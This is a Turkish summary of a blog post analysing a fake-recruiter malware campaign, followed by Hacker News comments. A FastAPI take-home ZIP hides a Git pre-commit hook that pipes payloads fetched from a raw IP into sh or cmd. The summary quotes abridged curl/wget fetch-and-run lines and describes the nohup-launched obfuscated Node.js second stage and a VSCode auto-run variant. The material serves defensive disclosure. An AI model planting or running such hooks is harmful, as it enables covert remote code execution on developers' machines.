- LinkedIn’de aylık 10.000–15.000 $ ücretli uzaktan Python geliştirici pozisyonu teklif eden sahte bir işe alımcı, normal bir FastAPI ödevi gibi görünen bir ZIP dosyası gönderdi; dosya, Git işlemleri sırasında kötü amaçlı yazılım kurulacak şekilde hazırlanmıştı
- Depodaki
.git/hooksiçinde işletim sistemine göre uzak payload’ları sessizce çalıştıran bir pre-commit hook’u gizlenmişti; ödev PDF’sindeki Git işlemleri de adayın bunu tetiklemesini sağlamaya yönelikti - Linux payload’u
~/Documentsdizinine ikinci aşama bir betik indiripnohupile çalıştırdıktan sonra Node.js, bağımlılıklar ve obfuscate edilmişparser.jsdosyasını kurarak arka planda çalıştırıyor - İsteklerdeki
id=402değeri değiştirildiğinde farklı betikler dönüyordu;package.jsoniçinde pano erişimi içinclipboardyve Ethereum geliştirme ortamıhardhatgibi paketler vardı, ancak nihai amaç doğrulanamadı - Saldırgan, herkese açık bir FastAPI deposuna yalnızca kötü amaçlı dizinleri eklemişti; başka bir varyant ise yalnızca klasörü VSCode’da açmakla komut çalıştırıyordu. Harici projelerle çalışmadan önce gizli dizinler ve otomatik çalıştırma ayarları kontrol edilmeli
Fazla iyi görünen iş teklifi
- LinkedIn üzerinden gelen Python geliştirici iş teklifi, aylık 10.000–15.000 $ ödeyen, uzaktan öncelikli, sözleşmeliden tam zamanlıya geçiş modeliyle sunulmuştu
- Görüşme bile yapılmadan yüksek ücretin açıklanması ve bunun Hindistan şartlarına göre büyük bir tutar olması ilk uyarı işaretiydi
- İşe alımda kullanılan şirketin bir Y Combinator girişimi olduğu doğrulandı; ancak bu ölçekte bütçe ayıran bir şirketin genellikle daha sistemli bir işe alım süreci olacağı şüphesi sürdü
- Özgeçmiş gönderilince hemen onay geldi ve Google Drive üzerinden bir ZIP arşivi ile ödev yönergelerini içeren PDF alındı
- PDF; mevcut kod tabanının iyileştirilmesi, mimari öneriler ve Git işlemleri istiyordu; dışarıdan bakıldığında normal bir değerlendirme dokümanına benziyordu
FastAPI projesinde gizlenen Git hook’u
- Sıkıştırılmış dosyada SQLAlchemy kullanan sıradan bir FastAPI backend’i vardı;
requirements.txtiçinde de typosquatting ya da açıkça kötü amaçlı bir paket bulunmadı - Gizli öğeleri kontrol etmek için
tree -açalıştırılınca.git/hooksaltında önceden yapılandırılmış birden çok Git hook’u olduğu görüldü pre-commitbetiği,uname -sile işletim sistemini belirledikten sonra aynı sunucudan platforma özel payload’u indirip çalıştırıyordu- macOS’ta
curl .../task/mac?id=402 | shçalıştırıyordu - Linux’ta
wget .../task/linux?id=402 | shçalıştırıyordu - Windows türevlerinde
curl .../task/windows?id=402 | cmdçalıştırıyordu
- macOS’ta
- Tüm çıktı
/dev/null’a yönlendiriliyor ve süreç arka planda çalıştırılarak çalışma izleri kullanıcıdan gizleniyordu - Alan adı yerine doğrudan
45.61.164.38:5777ham IP adresinin kullanılması kötü amaçlı davranışı daha da görünür kılıyordu
Linux’ta çok aşamalı payload
- İlk Linux betiği
~/Documentsdizininetokenlinux.npldosyasını indiriyor, adınıtokenlinux.sholarak değiştiriyor ve çalıştırma izni veriyordu - Ardından betiği
nohup bashile arka planda çalıştırarak terminal kapansa veya oturum kapatılsa bile sürecin çalışmaya devam etmesini sağlıyordu - İkinci aşama betik şu işleri sessizce yapıyordu
- Node.js kurulumu ve sistem yolunun yapılandırılması
parser.jsvepackage.jsonindirme- Gerekli npm bağımlılıklarını kurma
parser.jsdosyasınınohup nodeile çalıştırma ve günlükleriparser.logiçine yazma
parser.js, elle analiz edilmesi zor olacak kadar yoğun şekilde obfuscate edilmişti; orijinal dosyaparser.jsadresinde korunuyor
Kurban bazlı tanımlama olasılığı
- Endpoint’e
id=402parametresi tekrar tekrar gönderiliyordu; bu değer değiştirildiğinde tamamen farklı bir betik dönüyordu - Saldırganın her adaya benzersiz bir tanımlayıcı atayıp özelleştirilmiş payload sunmuş olması mümkün, ancak gerçek izleme yöntemi doğrulanmadı
- Obfuscation’ı çözmek için kod birden fazla LLM’e verildi, ancak sonuçlar farklılaştı
- Claude, güvenlik kısıtları devreye girerek analizi reddetti
- Gemini, betik analiz sonuçlarını sağladı
tokenlinux.npladlı özgün uzantı arandığında bunun daha geniş yürütülen bir saldırı kampanyasıyla ilişkili olduğu doğrulandı
Şüpheli Node.js bağımlılıkları
package.jsoniçindeki proje adıtokendappidi vehardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,requestgibi paketleri içeriyordu- Arka plan kurulum işleri için pano erişimi sağlayan
clipboardyve dosya sistemiyle ilgili paketlerin neden gerektiği belirsizdi hardhatbir Ethereum geliştirme ortamı olsa da Ethereum iş kanıtı modelinden geçtiği için bunun sıradan bir madencilik yapılandırması olduğu sonucuna varmak zordu- Kripto para cüzdanı arama veya yerel tarayıcı uzantılarıyla etkileşime geçme olasılığı da değerlendirildi, ancak nihai kötü amaç doğrulanamadı
VSCode kullanan başka bir varyant
- Aynı saldırının başka bir varyantı, ZIP dosyası içine
.vscodeklasörü gizliyor ve ilgili dizin VSCode ile açıldığında komut çalıştırılacak şekilde yapılandırıyordu - Bu yöntem, Git komutu veya proje kodu doğrudan çalıştırılmasa bile yalnızca klasörü açarak enfekte olunmasına yol açabiliyor
- Belirli bir şirketin saldırıya doğrudan dahil olmadığı; saldırganın bulduğu şirket adını kullanarak iş teklifini meşru göstermeye çalıştığı doğrulandı
Herkese açık depoyu yeniden kullanarak yapılan kamuflaj
git logiçinde saldırganın oluşturduğu bir proje değil, mevcut geliştiricilerin commit geçmişi olduğu gibi duruyordu- Orijinal kaynak herkese açık depo
personal-finance-serviceidi - Saldırgan, normal bir FastAPI projesini klonlayıp yalnızca kötü amaçlı gizli dizinler ekleyerek bunu ödev kod tabanı gibi göstermişti
- Yalnızca normal kod ve temiz görünen
requirements.txtincelenirse kötü amaçlı davranışın kaçırılabileceği bir yapıydı
Saldırı sunucusunun incelenmesi ve sınırlar
- Saldırı sunucusu Nmap ile tarandığında üç açık port bulundu; bunlardan ikisi sürüm tespitine yanıt vermedi
- 22 numaralı portta Ubuntu üzerinde OpenSSH 9.6p1 çalışıyordu
- Tarama sırasında bu sürümün yayımlanmasının üzerinden ancak bir haftadan biraz fazla zaman geçmişti; kullanılabilir bilinen bir CVE bulunamadı ve sunucu içine yönelik araştırmayı genişletmek zorlaştı
- Kötü amaçlı yazılım dağıtım yöntemi göze çarpıyordu, ancak sunucunun operasyon güvenliği görece iyi korunmuştu ve iz sürme bu noktada durdu
Git ödevinin rolü
- Ödev PDF’sindeki Git işlemleri, adayın en az bir kez Git komutu çalıştırmasını sağlayarak önceden kurulmuş hook’u tetiklemeye yönelik bir mekanizmaydı
- Sahte işe alımcı, saldırının fark edildiğine dair ileti aldıktan hemen sonra LinkedIn hesabını silmiş görünüyor
- Bilinmeyen bir projeyi çalıştırmadan veya Git komutu yürütmeden önce
tree -agibi araçlarla.git,.vscodegibi gizli dizinler ve otomatik çalıştırma ayarları kontrol edilmeli
1 yorum
Hacker News görüşleri
Bu yazıyı okuduktan sonra çok daha sofistike bir şekilde hacklendiğimi fark ettim.
Birkaç hafta önce gerçek bir şirketin CTO’suyla mülakat yaptım; kamerası kapalıydı ve aksanı da belirgindi ama görüşmenin içeriği doğaldı, teknik konulara da hâkim biriydi. Teknik mülakatta şirketin açık kaynak projesinde değişiklik yapmam gerektiğini söyleyip depoyu klonlamamı ve geliştirme ortamını kontrol etmemi istedi.
Sonrasında İK yetkilisi, CTO’nun hastalığı nedeniyle mülakatın ertelendiğini söyledi; birkaç gün sonra da o yetkilinin LinkedIn profili silindi. Bu yazıyı gördükten sonra kontrol edince, mülakat sırasında klonlayıp çalıştırdığım depoda kötü amaçlı yazılım payload’u olduğunu gördüm.
Geçmişte haftalık 43 milyondan fazla indirilen bir NPM paketini yönettiğim için hedef alınmış gibiyim. Tüm hesaplarda iki faktörlü kimlik doğrulama kullanıyor ve NPM paketini de token kullanmadan manuel yayımlıyordum; yine de dizüstü bilgisayarı sıfırlayıp her şeyi baştan kurmam gerekiyor.
Benzer HN yazılarını aradım ama dolandırıcıyla Google Meet araması yapıldığına dair bir şeye rastlamadım.
Ciddi bir şirket bunu dikkate alır; reddederse de riski bertaraf etmiş olurum. Artık kod üretiminde LLM’ler yaygın kullanıldığına göre bunun her teknoloji yığınında mümkün olması gerektiğini düşünüyorum.
Son dönemde geliştiricileri hedef alan Kuzey Kore kaynaklı saldırılar artmış gibi. Yıllardır süren bu yöntemlerin yanı sıra, “profilini gördüm, birlikte çalışmak ister misin?” diyen Kuzey Koreli hacker e-postalarını haftada yaklaşık bir kez alıyorum.
Programlama Discord topluluklarında da katıldıktan birkaç gün içinde iş ya da işbirliği isteyen çok sayıda hesap var. Gerçek iş arayanlar da olabilir ama mesajların hacmi ve benzerliği şüpheli; neredeyse hiç etkinliği olmayan küçük Python kütüphanesi topluluklarına kadar gelmelerine bakılırsa Discord topluluk listelerini kazıyıp rastgele yaklaşıyorlar gibi.
İnsanların birbirine duyduğu güveni istismar eden saldırılar arttı; bu yüzden ailelerimizin dediği gibi internetteki yabancılara güvenmemek gerekiyor.
Kurbanın işletim sistemi kontrol edildikten sonra uzaktaki payload’un gizlice çalıştırılması yöntemi tekrarlanıyor; geçen ay da benzer bir yazı ana sayfaya çıkmıştı.
https://news.ycombinator.com/item?id=48546294
Ham IP adresi güçlü biçimde kötü amaçlı yazılım izlenimi veriyor; ama hook içeriğini kontrol edecek kadar derine inen bir kurban muhtemelen şüphelenmeyi orada bırakmazdı. Çoğu geliştiricinin
git commitin kötü niyetli bir işlem çalıştırabileceğini düşüneceğini sanmıyorum; bunun Git açısından bir güvenlik açığı olup olmadığını merak ediyorum.Geriye yalnızca, çeşitli güvenlik önlemleri yüzünden Claude’un yardımcı olarak tamamen işe yaramaz olduğu noktası kalmış.
Ham IP kullanmalarının amacı, alan adı kayıt kuruluşunda kimlik bilgisi bırakmamak ya da çevrimiçi izlerini en aza indirmek olabilir.
Ekran görüntülerinin çoğu doğrudan açılmadı; yeni sekmede bakmak zorunda kaldım.
Bu dolandırıcılık epey kurnazca, muhtemelen çok sayıda iş arayan çoktan tuzağa düşmüştür; yazıda geçen Visual Studio Code projesi daha da tehlikeli görünüyor. Sırf projeyi açmak kullanıcı kodunu çalıştırıyorsa bu açık bir kötü amaçlı yazılım yolu demektir ve güvenlik önlemleri gerekir.
İşe alım sitelerinin tepkisi de yetersiz. Bir şirket ya da kuruma bağlı olduğunu iddia edenlerden çalıştığını kanıtlaması istense ve doğrulanmamış hesapların mesajlarında büyük bir uyarı gösterilse bile pek çok dolandırıcılık zorlaşır. Şu anda herkes istediği şirket deneyimini ya da eğitim geçmişini iddia edebiliyor.
Hacker News ana sayfasında gerçek hackleme ile ilgili bir yazı görmek güzel.
http://www.catb.org/jargon/html/H/hacker.html
Programlanabilir sistemlerin ayrıntılı yapısını ve sınırlarını keşfeden, özellikle bilgisayarların ve ağların iç işleyişini derinlemesine anlamaktan keyif alan kişiyi ifade eder. Ayrıca yalnızca teoride kalmayıp tutkuyla, bazen de inatla programlama yapan kişi anlamına gelir.
LinkedIn dolandırıcılığı önleme konusunda ciddiyse, mevcut iş yeri belirtilirken şirket e-postası doğrulaması sunabilir. Zorunlu kılmak ağır geliyorsa, en azından meşruiyetini göstermek isteyen işe alımcıların isteğe bağlı olarak doğrulama yapmasını sağlayabilir.
Şimdi de yapay zeka işe alım piyasasını ve LLM/otomasyon talebini hedefleyen benzer şeyler yaşanacak gibi.
Bu tür saldırılar giderek daha yaygın hale gelecek gibi. Saldırganlar kapsamlı araştırma yapmış ve yöntemleri acımasız, ama teknik olgunlukları takdire değer; gerçek başarı oranlarının da epey yüksek olduğunu düşünüyorum.